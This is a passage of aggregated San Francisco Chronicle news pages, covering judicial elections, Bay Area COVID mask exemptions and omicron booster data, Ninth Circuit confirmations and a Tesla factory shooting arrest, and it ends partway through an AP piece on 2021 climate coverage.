Persky for sentencing Stanford swimmer Brock Turner to six months in jail for sexually assaulting an unconscious woman on campus. It was the first judicial recall in California in 86 years. Both elections raised a broader question, though not a new one: How do you balance a judges responsibility to make independent, objective decisions against the public interest in holding its officials accountable? I would eliminate judicial elections. Judges shouldnt be politicians, said another panel participant, Erwin Chemerinsky, the law school dean at UC Berkeley. If thats not possible, he said, campaign contributions and spending on the elections should be tightly limited. And in any event, he said, judges should be removed from office by the voters or a state disciplinary agency only for incompetence or corruption, and not for rulings that are legal but unpopular. There are no elections for federal judges. They are nominated by the president, confirmed by the Senate and serve until they choose to retire. Politics still plays a role in the system illustrated, for example, by Senate Republicans refusal to consider President Barack Obamas nomination of Judge Merrick Garland to the U.S. Supreme Court but the judges can issue controversial rulings without fear of removal by the voters. But California, like all but seven other states, has chosen to give the public a voice in judicial selection. The candidates once carried party labels a system still used in 18 states but California switched to nonpartisan judicial elections in 1911. In another move to distinguish judges from politicians, judicial leaders proposed in 1934 to adopt retention elections, in which judges appointed by the governor would face the voters at the end of their terms, without an opposing candidate, and seek another term. California voters approved the change for state Supreme Court and appellate justices, but rejected it for trial courts possibly, according to political analysts, because the measure appeared at the end of the ballot, just below an unpopular initiative to maintain the prohibition of alcohol. Karnow said thats still the system he would prefer for Superior Court judges. But legislation to return the issue to the voters in 2000 failed to clear its first committee in Sacramento and received a critical review from a state Judicial Council task force. Its members noted that the change would put every judges name on the ballot at the end of their six-year terms and require voters in Los Angeles County, for example, to decide whether to retain as many as 150 judges in a single election, a format unlikely to produce informed choices. For Supreme Court and appellate justices, the system has reduced but not eliminated the role of politics. After a nearly half-century of mostly uncontested elections, Chief Justice Rose Bird, the courts first female jurist, was nearly unseated in 1978 by opponents who labeled her a liberal without judicial experience. Eight years later, Bird and Justices Cruz Reynoso, the courts first Latino, and Joseph Grodin were resoundingly defeated in a campaign that focused on their reversals of death sentences, and one that also set new spending records. Their replacements were far more conservative and upheld more than 90% of the death sentences they considered. And when the court under Chief Justice Ronald George overturned a state law requiring parental consent for minors abortions, antiabortion groups mounted a campaign in 1998 against George and Justice Ming Chin, who kept their seats after spending several hundred thousand dollars each. Georges successor, Chief Justice Tani Cantil-Sakauye, was asked about the role of judicial elections at her annual meeting with reporters on Wednesday. No system is perfect, she replied; she said the public is entitled to hold judges accountable. Theres always the risk ... that a judicial officer will rule for popularity or personal gain, Cantil-Sakauye said, but I dont know that the answer to the risk is insulation from the voters. A recall like the one against Persky is a powerful tool, she said. I think it is the peoples right to do that. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Judges, she added, have to come out of their dim courtroom, leave their robes behind, come out and talk in terms the public can understand. To that end, her court takes questions from high school students before some of its hearings, and sponsors a Judges in the Classroom program to inform youths about the law and the Constitution. The court is also considering a change to the ethical rules for judges that would allow them to talk about their past rulings when they are attacked during a campaign. Persky repeatedly cited the current ban on such discussions when asked to explain his sentencing of Turner. But the Commonwealth Club speakers said judicial elections can have more far-reaching consequences. Every judge knows exactly what happened to Persky, Karnow said. It did send a message throughout the state about the potential impact of sentencing decisions on a judges career, he said. Chemerinsky of UC Berkeley said studies show judges are much more likely to uphold death sentences in states that elect their judges. If judges hand down sentences to please the voters, he said, weve lost judicial independence. Karnow said judges might do a better job of issuing their opinions and their orders in plain English. He also said he was not arguing that judges should be unaccountable to the people, despite his criticisms of judicial elections. I look at the will of the people embodied in its most reflective, thoughtful and considered form, he said the laws passed by the peoples elected representatives. Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter:@BobEgelko San Francisco offices and gyms where everyone is fully vaccinated will not need to return to masking, after California on Tuesday granted last-minute exemptions from its new, universal face mask rule to some counties. This refinement acknowledges the hard work of the people of San Francisco throughout the pandemic, including the ways in which we have maintained reasonable protections heading into the holiday season, San Franciscos Department of Public Health said in a statement. Contra Costa, Alameda and Marin counties will also receive exemptions, those counties confirmed. That means that in those counties, like San Francisco, offices and gyms that host fully vaccinated people will continue to be exempt from masking. Marin will again require masks to be worn by everyone in stores, restaurants and other non-exempt settings. The news came just as Bay Area businesses were bracing with weary resignation for a return of masking following the states announcement of a new indoor mandate Monday. San Francisco Health Officer Dr. Susan Philip said the state, by allowing local jurisdictions to continue local mask exemptions for certain settings, is recognizing the efforts that places like San Francisco have taken throughout the pandemic to control spread. Those settings are so-called stable cohorts of 100 or fewer people where everyone is fully vaccinated. They include offices, gyms, fitness centers, employee commuter vehicles, religious gatherings, indoor college classes or other gatherings of individuals who meet regularly. We appreciate seeing that clarification from DPH colleagues. Its a recognition of all of the thought and care that San Francisco residents have been putting into staying as safe as possible, Philip said. Weve been cautious since we saw the indications of delta, she said. We have had this general indoor masking requirement thats been in place. And we have carved out smaller areas where we think its a more controlled environment. We have a lot of other safeguards in place in areas where masks are removed. We think with those in place its reasonable to allow face coverings to be removed in those settings. The new state rule, which will require all Californians to wear masks indoors starting Wednesday until Jan. 15, came as officials braced for a winter surge driven by the delta variant and warily eyed the threat of the potentially even more contagious omicron variant over the horizon. The states updated rule says: For local health jurisdictions that had pre-existing masking requirements irrespective of vaccine status, in indoor public settings, prior to December 13, 2021, those local health orders continue to apply. San Francisco will not be exempt from other parts of the states new COVID orders: People attending mega-events of 1,000 people or more that dont require vaccination must now show proof of a negative test taken within one day for an antigen test, and within two days for a PCR test. (Previously it was 72 hours.) And San Francisco, like other California jurisdictions, will encourage arriving travelers to get tested three to five days after arrival, regardless of vaccination status. The news that much of the Bay Area did not have to change current rules on masking brought immediate jubilation, and relief, in the business community. The San Francisco Independent Fitness Studio Coalition couldnt be more pleased with the receding of the state mask order, in the city, said Dave Karraker, co-owner of MX3 Fitness in San Francisco and coalition spokesman. He credited Philips with going to bat for the industry. To have any disruption at all in the progress weve made over the last year and a half in getting customers back would have been devastating, he said, adding that some fitness studios had already started to see people put memberships on hold because of the expected mandate. The potential to lose New Years resolution business can literally make or break a small neighborhood gym, he said. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Some companies were already adjusting to the states new rules. Apple as of Tuesday is requiring masking in all of its U.S. stores, spokesman Nick Leahy said in an email. We will adjust our health measures in stores to support the well-being of customers and employees, he said. Some workplaces, like Mountain View cloud software company Egnyte, were going ahead with in-person holiday parties but with attendees wearing masks. Our reality of being in the office is not changed by the mask mandate, said Egnyte founder Vineet Jain, adding that about 75 of the 175 employees in Mountain View had RSVPd to attend the party later this week; the company already has held online holiday parties as well. A poll on the website Blind, which lets employees discuss their companies anonymously, found a near-even split among more than 100 workers in tech and other industries, with a slight majority supporting the return of the indoor masking mandate. The poll was taken before the announcement of San Franciscos exemptions. Chase DiFeliciantonio, Ryan Kost and Catherine Ho are San Francisco Chronicle staff writers. Email: chase.difeliciantonio@sfchronicle.com, rkost@sfchronicle.com, cho@sfchronicle.com Jennifer Sung, an Oregon labor official and longtime labor lawyer, was confirmed by the Senate to the Ninth U.S. Circuit Court of Appeals on Wednesday, becoming the second appointee of President Biden in three days both of them Asian American women to the nations largest federal appellate court. The 50-49 confirmation vote for Sung follows Mondays 50-45 Senate approval of Lucy Koh, who had been a federal judge in San Jose since 2010 and is now the first Korean American woman on a federal appeals court. Both votes followed party lines, with Democrats supporting the nominees and Republicans opposing them. They are Bidens first two appointees to the San Francisco-based Ninth Circuit, with two more nominations pending. The court hears appeals in federal cases from California and eight other Western states. The court had been one of the nations most liberal appellate tribunals before then-Senate Majority Leader Mitch McConnell, R-Ky., blocked confirmation votes for many nominees of President Barack Obama, including Koh, whom Obama had picked for the circuit in 2016. That allowed President Donald Trump to name 10 judges to the court, which still has a 16-13 majority of Democratic appointees. Sung, 49, a former union organizer and the daughter of Chinese immigrants, had practiced labor law in San Francisco and Oregon for 10 years before Oregon Gov. Kate Brown named her in 2017 to the states Employment Relations Board, which handles labor disputes for public and private employees. At her Senate Judiciary Committee confirmation hearing in October, Republicans attacked Sung for having signed a letter by other Yale Law School graduates in 2018 that described then-Supreme Court nominee Brett Kavanaugh as a Trump puppet who was intellectually and morally bankrupt. The letter was written before a Bay Area psychologist accused Kavanaugh of sexually assaulting her when both of them were teenagers, and focused on his record as a judge and a Justice Department lawyer. Sung told senators the letter contained overheated rhetoric and said she would respect the authority of Kavanaugh and other Supreme Court justices. But Sen. John Kennedy, R-La., said no one could believe Sung would be an impartial judge, and Sen. Mike Lee, R-Utah, said the letter was either libelous or an attempt to undermine the Supreme Courts authority. After Wednesdays confirmation, Becky Pringle, president of the nations largest teachers union, the National Education Association, said Sung brings experiences and perspectives desperately needed in the federal judiciary. Pringle said only one other federal appellate judge has any experience representing unions. The federal judiciary needs more judges like Sung, whose legal experiences are rooted in protecting and defending the rights of working people, said Wade Henderson, president of the Leadership Conference on Civil and Human Rights. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Koh, 53, a former federal prosecutor and the child of Korean immigrants, was appointed to the Santa Clara County Superior Court by Gov. Arnold Schwarzenegger in 2008 and to the federal court in San Jose by Obama in 2010, making her the first U.S. District Court judge of Korean descent. As a federal judge, Koh blocked Trumps administration from shutting down the 2020 census count ahead of schedule, a ruling that continued the population count until the Supreme Court approved a halt in mid-October 2020. She also refused to dismiss a suit by thousands of employees who accused major tech companies of conspiring to hold wages down by refusing to hire one anothers workers. The suit later settled for $415 million. This February, she upheld Gov. Gavin Newsoms limits on private indoor religious gatherings to prevent the spread of COVID-19. The appeals court upheld Kohs decision, but it was overturned by the Supreme Court in a 5-4 ruling in April. Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter: @BobEgelko A Tesla employee has been arrested on suspicion of murder in the shooting death of his co-worker outside of the Fremont factory on Monday, the same day the suspect argued with the victim and walked off the job, authorities said Tuesday. Detectives arrested Anthony Solima, 29, of Milpitas on a homicide warrant after an opportunity presented itself when he got out of his car in Milpitas after hours of police surveillance following the shooting, Fremont police said in a statement Tuesday. Detectives found a loaded .223 caliber, short-barrel rifle and an expended casing in Solimas vehicle, Fremont police said. The firearm did not have a serial number. Solima and the victim, whose name has not yet been released, worked together at the Tesla factory and had been arguing earlier in the day, and the suspect had suddenly walked off the job, police said. Police said the victim had just finished a shift at the factory when he was shot in the plant parking lot as he was leaving work shortly before 2:30 p.m. Monday. Fremont Fire Department personnel rendered aid to the unresponsive man and suspected that he was the victim of a violent crime based on his visible injury, police said. Fremont police officers who responded to the scene noticed at least one gunshot wound. He died at the scene. Several expended .223 rifle casings were found nearby, police said. Police said that within several hours homicide detectives determined a suspect through the course of their investigation. Detectives with Fremont polices Gun Violence Reduction Team found Solima in Milpitas at 8:42 p.m. and watched him for hours while detectives conducted additional follow up to solidify the investigation. Authorities obtained warrants for Solimas arrest and search of his vehicle at 11:16 p.m., police said. Solima immediately surrendered when detectives arrested him, police said. Police said he was interviewed by homicide detectives before he was booked into Santa Rita Jail on suspicion of first-degree murder. He is being held without bail, jail records show. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. There are no other suspects in the fatal shooting, police said, and detectives do not believe there is any additional risk to the community. The investigation is still ongoing, police said. Anyone with information about this incident and anyone who recognizes the suspect from the day of the shooting should call 510-790-6900 or email Detective Gebhardt at mgebhardt@fremont.gov. Text messages can be sent to 888777 by texting Tip FremontPD followed by the tip. Callers may remain anonymous. Solima is scheduled for an arraignment hearing at 1:30 p.m. Thursday. Lauren Hernandez is a San Francisco Chronicle staff writer. Email: lauren.hernandez@sfchronicle.com Twitter: @ByLHernandez Rafe Swan/Getty Image After a yearlong investigation, San Jose police said Wednesday they had arrested six men for a series of alleged thefts targeting Asian Americans. Working in concert, the men allegedly committed more than 70 robberies, burglaries and thefts between October 2020 and this September, police said. People of Asian descent, typically women, were singled out as victims, police said. With the omicron coronavirus variant spreading at a rate that world health officials are calling unprecedented, a growing chorus of experts are saying that boosters are a must and that people should get them as soon as possible. But does the type of vaccine you get for your booster matter to how protected youll be against omicron? Early data indicate that omicron is likely two to three times as contagious as the delta variant, and being fully vaccinated with two doses of the Pfizer or Moderna mRNA vaccines or a single dose of Johnson & Johnson is no longer enough protection, Contra Costa County Public Health Officer Dr. Chris Farnitano noted Tuesday. You need to be boostered to have strong protection against omicron, Farnitano said. If you thought you were safe with just two doses, that is no longer enough. Get your booster. Dr. Anthony Fauci echoed that message on Tuesday, saying that omicron will for sure become the dominant variant in the U.S. and that people should get booster shots as soon as possible. "The regular two-dose mRNA don't do very well against infection itself," the White House senior medical adviser said on CNN. "But particularly if you get the boost, it is pretty good." Recent studies have shown that a two-dose COVID vaccine regimen produces a significantly lower antibody response against omicron than against previous variants, but a booster will restore a good amount of protection. Heres a look at some of the findings, and what the latest data shows on how each vaccine type is holding up against omicron. How effective are the standard vaccine regimens against omicron without boosters? The understanding of vaccine efficacy against severe disease caused by the omicron variant is still limited. Lee Riley, chair of the Division of Infectious Disease and Vaccinology at UC Berkeley, said we need to wait for real-world data. What is the effectiveness of the vaccines against infection? he wrote in an email. What is the effectiveness against hospitalization? Against death? How long after the last vaccination...does it take for the immune response to become completely ineffective against the omicron variant? These data will take several months to obtain. But experts said this week that studies showing a steep decline in antibody response to omicron added urgency to the need for boosters. A study published Friday by the U.K. Health Security Agency that showed two doses of Pfizer were only about 40% effective at preventing illness from omicron. On Tuesday, the first major study released from South Africa, where omicron was first detected, indicated that the two-dose Pfizer regimen offers just 33% protection against infection with the variant, but up to 70% protection from hospitalization. Also Tuesday, a study from Austria that has not yet been peer-reviewed showed two-dose vaccine protection significantly dropped against omicron, compared to its effectiveness against other variants of concern. Protection against omicron by the AstraZeneca vaccine which is widely used in Europe but not approved in the U.S. was almost non-existent. How much do boosters help? Research is already indicating that boosters could restore a significant level of antibody response against omicron. The U.K. study showed a Pfizer booster raises protection against illness from omicron from 40% to the 70% to 75% level lower than the roughly 90% efficacy against the delta variant, but much higher than the initial series. Pfizer and its partner BioNTech has also reported that lab results showed their booster is effective against omicron. Data is also showing that the Moderna booster offers substantial protection against omicron. The company says lab tests show the authorized 50-microgram half-dose used for its booster raises by 37 times the levels of neutralizing antibodies that fight omicron and a full dose yields an 83-fold increase. According to Fauci, a forthcoming study by the U.S. National Institutes of Health has found a similar jump. The Austrian study looked only at the effect of two vaccine doses in people who had also been infected with COVID-19, and found much stronger protection against omicron than the vaccine doses alone. The study noted that a third vaccine shot also may increase the level of cross-neutralizing antibodies to omicron, but the data strongly advocate the rapid development of new, variant-adapted vaccines. What should people do based on what we know so far? Omicron will likely be widespread in the Bay Area by mid-January, so its time to get a booster, said Dr. Bob Wachter, chair of the department of medicine at UCSF. If you havent, you should. ...Its all upside and no downside to getting as immune as we can before it gets here. Based on the studies so far, the best thing to do is to get the booster as soon as possible, Riley said. While the Centers for Disease Control and Preventions recommendation is still to wait six months after a two-dose mRNA vaccine series before getting a booster shot, Wachter said with omicron that number is arbitrary. He said with the delta variant, it was reasonable to wait six months, but with omicron poised to make a strong showing in the U.S., the time to get boosted is now.. Theres no question that everybody who is eligible for a booster should get it, said Wachter. Efficacy is waning as soon as four months after a completed vaccine series, he said, and the risk grows from there. Does the brand of booster matter? Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. For now, when choosing between a Moderna or Pfizer booster, Wachter said it doesnt really matter. Right now, the mRNA-based vaccines appear to be more effective, but to what level compared to the other variants and for how long the protective immunity will last is unknown, he added. But if you received the Johnson & Johnson vaccine, theres even more urgency, he said. The J&J is an adenovirus vaccine, similar to AstraZeneca so the Austrian study is worrisome, Wachter said. While the effectiveness of Johnson & Johnson is still unknown, he said the vaccine is tracking with AstraZeneca reasonably well so you can go with the assumption that anyone with just a single Johnson & Johnson shot is essentially unprotected against omicron. By the time it hits the U.S. in a major way, well have more answers, he said. Should you change or cancel your holiday plans? In the meantime, Wachter isnt suggesting people cancel their holiday plans. He said he even told a boosted relative scheduled to travel to London in a week to go on her trip though he advised her to be a little more careful than she would otherwise and to wear a really good mask indoors, as there is a good chance she could confront the variant that partly evades three shots. Wachter said its likely that well be living in a chronic state of COVID for years, maybe forever. So if seeing family and friends over the holidays is important, he advised people to go ahead and do it, because hes not confident next year will be so much better. He said we have so many tools we didnt have a year ago, including vaccines, boosters and COVID treatments. People can wear a more-protective N95 mask in riskier situations, and everyone can get a rapid test the morning of a gathering if vulnerable people are involved. Even with omicron on the horizon, he said, its time to start getting past the fear of doing some things that make life worth living. The alternative is potentially never getting together with family, which is scarier at this point, he said. Chronicle staff writers Catherine Ho and Aidin Vaziri contributed to this report. Kellie Hwang is a San Francisco Chronicle staff writer. Email: kellie.hwang@sfchronicle.com Twitter: @KellieHwang California still has only 39 known omicron infections, but that could change quickly and what it portends is very much in question. Amid concerns about the omicron variant and rising case rates, a statewide mask mandate with some exceptions goes back into effect today for public spaces, regardless of your vaccination status. Heres whats changing. San Francisco offices and gyms where everyone is fully vaccinated will not need to return to masking after California on Tuesday granted last-minute exemptions from its face mask rule. Latest updates: Apple delays return-to-office plans indefinitely: Citing ongoing pandemic concerns, including rising cases in many parts of the world and the emergence of a new strain of the virus, Apple announced on Wednesday that it is delaying the return of employees to the office indefinitely, according to a memo sent by chief executive Tim Cook and obtained by Bloomberg News. Cook said the staff return date is now yet to be determined. The company had previously asked employees to prepare to return to in-person work on Feb. 1. Apple will also provide employees $1,000 each to purchase office equipment for use in their homes. These funds are intended to help you with your home workspace and can be used as you see fit, Cook wrote. Google also delayed its mandatory office return to an unspecified date earlier this month. Separately, Apple stores were closed in Miami, Annapolis, Md., and Ottawa due to COVID outbreaks, according to the New York Times. Omicron cases in California continue to climb: The state reported 48 cases of the fast-spreading new variant on Wednesday, up from 39 the day before. In its daily coronavirus and COVID-19 update, the California Department of Public Health noted that the state has had 4,896,401 confirmed cases of the virus to date (of all variants, including the far more pervasive delta) and currently has an average daily case load of 5,499, averaged over the past week. The testing positivity rate is 2.3%. The departments COVID-19 dashboard records 74,794 deaths so far in California and a partial vaccination rate for residents 5 years and over of just below 80%. COVID infections in U.S. jump 40% in a month: New coronavirus cases in the United States are rising steadily, with a nationwide 7-day average of around 118,000 new cases each day, according to data collected by the U.S. Centers for Disease Control and Prevention. That marks a 40% increase since mid-November, with COVID-19 related hospital admissions rising by 44% in the same period. Seven-day death counts have fortunately risen at a far slower rate of 10.3%, the CDC says. San Francisco expects a budget surplus despite COVID: Record high pension investment returns, a real estate tax windfall and federal aid contributed to an expected $108 million surplus for the next two fiscal years, despite the numerous strains on the city's budget due to the coronavirus pandemic. The city also expects a lower four-year deficit of $149 million, less than prior estimates. Read the full story here. Omicron variant grows 70 times faster than delta in laboratory study: The highly mutated coronavirus variant multiplied about 70 times more quickly than the original and delta strains of the coronavirus in bronchial tissue samples studied by researchers at the University of Hong Kong. The staggering rate of growth could explain the variants rapid spread in the United Kingdom, the Guardian reports. The researchers also found that omicron grows 10 times more slowly in lung tissue, which could be an indicator of less severe disease. But the reports lead author Michael Chan Chi-wai cautions, It is also noted that by infecting many more people, a very infectious virus may cause more severe disease and death even though the virus itself may be less pathogenic. Get a booster before returning for spring semester, says NYU: New York University has become the latest school to announce that all members of its community, including students, teachers and staff, will be required to obtain a COVID-19 booster shot amid rising case counts before returning to campus for the spring semester in January, NBC New York reports. The requirement excludes those with approved exemptions. The university has not confirmed the report. NYUs requirement follows earlier such policies announced by New Yorks Syracuse University and Wesleyen University in Connecticut, and is likely to be copied elsewhere. Other schools, including Stanford University, have so far only strongly recommended a booster. Does the brand of your booster matter for omicron protection?: Early data indicate that omicron is likely two to three times as contagious as the delta variant, and being fully vaccinated with two doses of the Pfizer or Moderna mRNA vaccines or a single dose of Johnson & Johnson is no longer enough protection. Studies showing a steep decline in antibody response to omicron added urgency to the need for boosters. Preliminary data suggest that vaccines based on mRNA technology the Pfizer and Moderna shots appear to be more effective in fighting off omicron, but by how much is still unknown. Read the full story here. Eighty percent of S.F. population fully vaccinated: Mayor London Breed said on Wednesday that 80% of San Franciscos total population is fully vaccinated, one year after vaccines become available in the city. Weve come a very long way since a year ago when the arrival of the COVID-19 vaccine felt like a ray of hope in the darkness, said Mayor London Breed in a statement. Here we are now with most of San Franciscans vaccinated, our businesses and schools reopened, and people gathering and celebrating the holiday season with each other once again. Our vaccination efforts show what San Francisco can do when we work together, and we can bring that same spirit and energy to other challenges facing the city. JPMorgan Chase cancels San Francisco health care conference due to omicron: The bank has pulled the plug on its planned January in-person event and will go virtual as cases of the new coronavirus variant spread. Its a major blow to the hospitality sector and the conferences main hub, Union Square, which was already reeling from mass thefts last month. The bank had remained committed to holding the meeting in person in the wake of the crime spree, but said the health of attendees was at risk from the pandemic. Out of an abundance of caution and after careful consideration, we have decided to virtualize the conference, the bank said. Read the full story here. Chase Center to require testing or proof of vaccination for children under 12: The concert venue and home of the Golden State Warriors has updated its entry requirements for children ages 2 through 11, following new guidance issued by the California Department of Public Health. Eligible children under 12 will now need to provide either proof of full vaccination or a negative result from a COVID-19 test administered within 24 hours for an antigen test, or 48 hours for a PCR test before entering the venue. The updated policy is effective Wednesday and will be enforced starting with Chase Centers next event, which is a Metallica concert on Friday. Read the full story here. Biden issues remarks on 800,000 pandemic deaths: In a statement marking the deaths of 800,000 Americans from COVID-19, President Biden struck a personal tone. I know what its like to stare at an empty chair around the kitchen table, especially during the holiday season, and my heart aches for every family enduring this pain, he said. Biden also noted the progress his administration has made against the pandemic and urged people to get vaccinated to prevent further deaths. We stood up a historic vaccination program, and 240 million Americans have stepped up and gotten at least one shot. As a result, we have saved over one million American lives, and spared families in every community across the country the incalculable loss that too many others have suffered. Marin to reimpose masks for all in stores, restaurants but not offices and gyms: The county confirmed to The Chronicle that under an exemption granted to the state masking rule, everyone must wear masks in stores, restaurants and most other indoor public settings regardless of vaccination status. People in offices and gyms and other settings where the same group of people gathers regularly will not need to mask if they are fully vaccinated. The new rule represents a change for Marin: For the past month and a half, vaccinated people have not had to wear masks in stores and restaurants. Moderna booster offers substantial protection against omicron: A third dose of Modernas COVID-19 vaccine improves protection against the omicron coronavirus variant 20 times better than the initial vaccination series of two doses, according to a forthcoming study from the National Institutes of Health. Dr. Anthony Fauci, the nations top infectious disease expert, shared data from the report during the White House COVID-19 Response Teams weekly briefing and said the full report will be published next week. Unvaccinated Google employees may lose their jobs: In an internal memo issued Tuesday, the tech giant urged unvaccinated employees to get their jabs against COVID-19 or face losing their pay and possibly their jobs. The documents, which were viewed by CNBC, told employees that they had a Jan. 18 deadline to upload documentation showing proof of vaccination or they will be placed on paid administrative leave for 30 days. Those who fail to comply after that will be placed on unpaid personal leave for up to six months, then terminated. We expect that almost all roles at Google in the U.S. will fall within the scope of the executive order, the Google memo said, referring to President Bidens contested workplace vaccination rules. Anyone entering a Google building must be fully vaccinated or have an approved accommodation that allows them to work or come onsite, the company said, adding that frequent testing is not a valid alternative to vaccination. Boosters for adolescents on hold for now, Fauci says: The nations top infectious disease expert said on Wednesday that there is no urgency to approve booster doses of the COVID-19 vaccine for children ages 12 to 15 because they appear to have a stronger immune response to the initial vaccination series. Its very clear that when you look in general at a population level that younger individuals have a much more robust immune response than adults particularly among the elderly. So, the comparison there is that you would expect a rather substantial power of the immune response, Fauci said during a White House briefing. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Omicron spread drives daily cases in UK to new pandemic high: The United Kingdom hit a record high of 78,610 daily COVID-19 cases on Wednesday, as the omicron variant gained traction in the country. That marks an alarming jump from the 59,610 cases reported a day prior and significantly surpasses the previous daily record of 68,053 cases, reported on January 8. Dr. Jenny Harries, the chief of the UKs health services department, told members of the government that omicron is probably the most significant threat weve had since the start of the pandemic. Alameda, Contra Costa counties maintain mask exemptions for offices, gyms: People in offices and gyms where everyone is fully vaccinated do not need to wear masks, under new exemptions to the state mask rules that began Wednesday, those counties confirmed. San Francisco has a similar exemption. The exemptions also apply to other situations in which stable cohorts of people where the same group of people gather regularly are fully vaccinated; religious gatherings would be one example. The San Francisco exodus isnt over, according to new migration data. Heres where people are moving: For years, a similar amount of people moved out of San Francisco as into it. But that changed during the pandemic. Excluding moves from abroad, over 72,000 more people have moved out of the city than since the beginning of 2020, almost eight times more than the same period in 2018-2019. Read the full story here. San Francisco becomes first city to require sick leave for nannies, cleaners, gardeners: The San Francisco Board of Supervisors unanimously passed ground-breaking legislation to provide paid sick leave for cleaners, nannies, gardeners and other domestic workers. Advocates said the pandemic highlighted vulnerabilities of workers affected by the measure. Read the full story here. S.F. offices, gyms granted reprieve from state mask mandate as California clarifies rules: San Francisco offices and gyms where everyone is fully vaccinated will not need to return to masking, after California on Tuesday granted last-minute exemptions from its new, universal face mask rule to some counties. Read the full story here. Nevada confirms its first omicron case: State health officials confirmed Nevadas first case of COVID-19 caused by the omicron variant on Tuesday, in a fully vaccinated woman in her mid-20s who had not yet received a booster shot. They did not say whether she had recently traveled. I am grateful to our public health officials for their work in identifying this variant, Gov. Steve Sisolak said on Twitter. Nevada, we know what to do. The highly mutated coronavirus variant has now been identified in 35 states. The virus that takes over the world, or a milder pathogen? Two views of omicron emerge: While the number of omicron infections in the Bay Area remains low, infectious disease experts say there are worrisome signs indicating things could soon change. And theres disagreement over where the new variant will take the pandemic. Read the full story here. Omicron cases tripled in California over the weekend: State health officials said there are 39 confirmed cases of the highly mutated coronavirus variant in California as of Monday. That is up from 13 cases reported on Friday. The recent emergence of the omicron variant emphasizes the importance of getting a vaccine, booster and taking prevention efforts needed to protect against COVID-19, the California Department of Public Health said in a statement. Omicron detected in Contra Costa County wastewater: The omicron variant has been detected in Contra Costa Countys wastewater samples, Health Services Director Anna Roth told county supervisors Tuesday. Though we havent sequenced a (omicron) sample, we are assuming that we will be seeing cases coming soon, Roth said. Delta is still the prominent strain, representing 97% of the samples sequenced. Vaccines prevented 1 million COVID deaths in US, study suggests: In the absence of a vaccination program, there would have been approximately 1.1 million additional COVID-19 deaths and more than 10.3 million additional COVID-19 hospitalizations in the U.S. by November, according to a report published Tuesday by the Commonwealth Fund. The study comes a year after the first COVID-19 vaccine was administered in the country. It adds that if no one had been vaccinated, daily deaths from COVID-19 could have jumped to as high as 21,000 per day nearly 5.2 times the level of the record peak of more than 4,000 deaths per day recorded in January 2021. Fauci says omicron will for sure become dominant variant: Dr. Anthony Fauci said Tuesday the rapid spread of the omicron variant will likely pose a challenge to the nations progress against the COVID-19 pandemic. Speaking to CNN Tuesday, the nations top infectious disease expert said that the highly contagious coronavirus variant will for sure become the dominant variant nationwide but hoped it would cause less severe disease. He said people should get booster shots as soon as possible. The regular two-dose mRNA dont do very well against infection itself, Fauci said. But particularly if you get the boost, it is pretty good. THE BACKGROUND: Melting glaciers, deadly floods in Germany, record high summer temperatures in generally mild Oregon, more urgent pleas for help from Pacific island nations. With growing urgency, the effects of climate change were felt around the world in 2021. A United Nations climate conference in Glascow, Scotland, in November called COP26 ended with almost 200 nations agreeing to a compromise aimed at keeping a key global warming target alive, but which contained a last-minute change that watered down language about phasing out coal. While many nations complained the deal did not go far or fast enough, they said it was better than nothing and provided incremental progress. Here, some Associated Press journalists involved in the coverage reflect on the story and their own experiences. ____ SETH BORENSTEIN, science writer, Washington, D.C.: COP26 leaves us sort of where we were before. Theres a little bit more being done to try to control emissions, a lot more pledges to do stuff. But a lot of these pledges are still based very much in the future. These net-zero by 2050, 2060 pledges these are pledges made by leaders who wont be alive when their pledges become due. This has also been an interesting year where you had a major climate report in August. But more than anything, its yet another year where climate change keeps popping up in extreme weather all over the world. But this year, perhaps a little bit more in the Western, richer countries than in the past: in Germany, in Belgium, horrible flooding in Tennessee, places like that. And not to mention the wildfires and 116-degree (47 Celsius) heat in Portland, Oregon. I mean, if you had to choose one weird thing, the Pacific Northwest is known for mildness, but there are records and then there are records, and theirs are so far off the scale that your eyes pop out. And thats what Portland was. ___ Rich countries aren't exempt. But when you're rich, you can flee that more easily. You can weather weather extremes when you're in the global North far better than you can in the South. But then, there come extremes that are so big, that wealth can't help you as much. ___ And so thats one of the issues of adaptation: the rich countries of the world can, and the poor countries cant. And that was one of the major issues we saw in Scotland at the conference. What we saw ... is this sort of combination of hope because nations were saying the right thing and pledging the right thing to do that would help reduce emissions in the future. More so than theyve ever done. And yet, the temperatures are still going up, the extremes are still getting worse. So you sort of have this combination of optimism and there was a lot of optimism there and also harsh reality smacking each other in the face. And you would ping-pong there from Oh, this looks promising to Oh my God. ___ FRANK JORDANS, correspondent, Berlin: Thinking about what was special about covering climate this year, it struck me that normally, covering climate change from Germany is a bit like covering a war 100 miles from the front line, right? Because you sort of think all the action is happening somewhere else. And its certainly true that most of the direst impact is happening in countries in whats known as the global south. Or the far north, because thats heating up much faster than anywhere else. But this year, we had two events in Germany that were really quite striking. One of them was a Supreme Court decision in April here in Germany. Basically the court ruled that the government hadnt done enough to chart the course that the country needs to set if it wants to cut greenhouse gas emissions fast enough to meet these Paris goals. And the judges basically said that they were putting too much of the strain on younger generations, pushing too much to beyond 2030. And they said that this was actually a restriction on freedoms of the younger generation. ... The judges in the Supreme Court here actually said that if we dont tackle climate change, then core freedoms are going to be impinged upon. And by saying that, that was a hugely significant moment that could change the trajectory of how future governments see things. The second one was these floods that Seth mentioned in Germany and Belgium. Certainly, there are occasional floods here, but nothing like what we saw in July. And while some people said, well, we should have seen this coming, really, the general population was not prepared for this. And it really woke people up to see almost 200 people killed in a matter of hours, and entire villages swept away. In a country like Germany, I mean, they can afford to rebuild, but its still billions (in damages) in one devastating flood. ___ NOAH BERGER, photographer, San Francisco: Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your 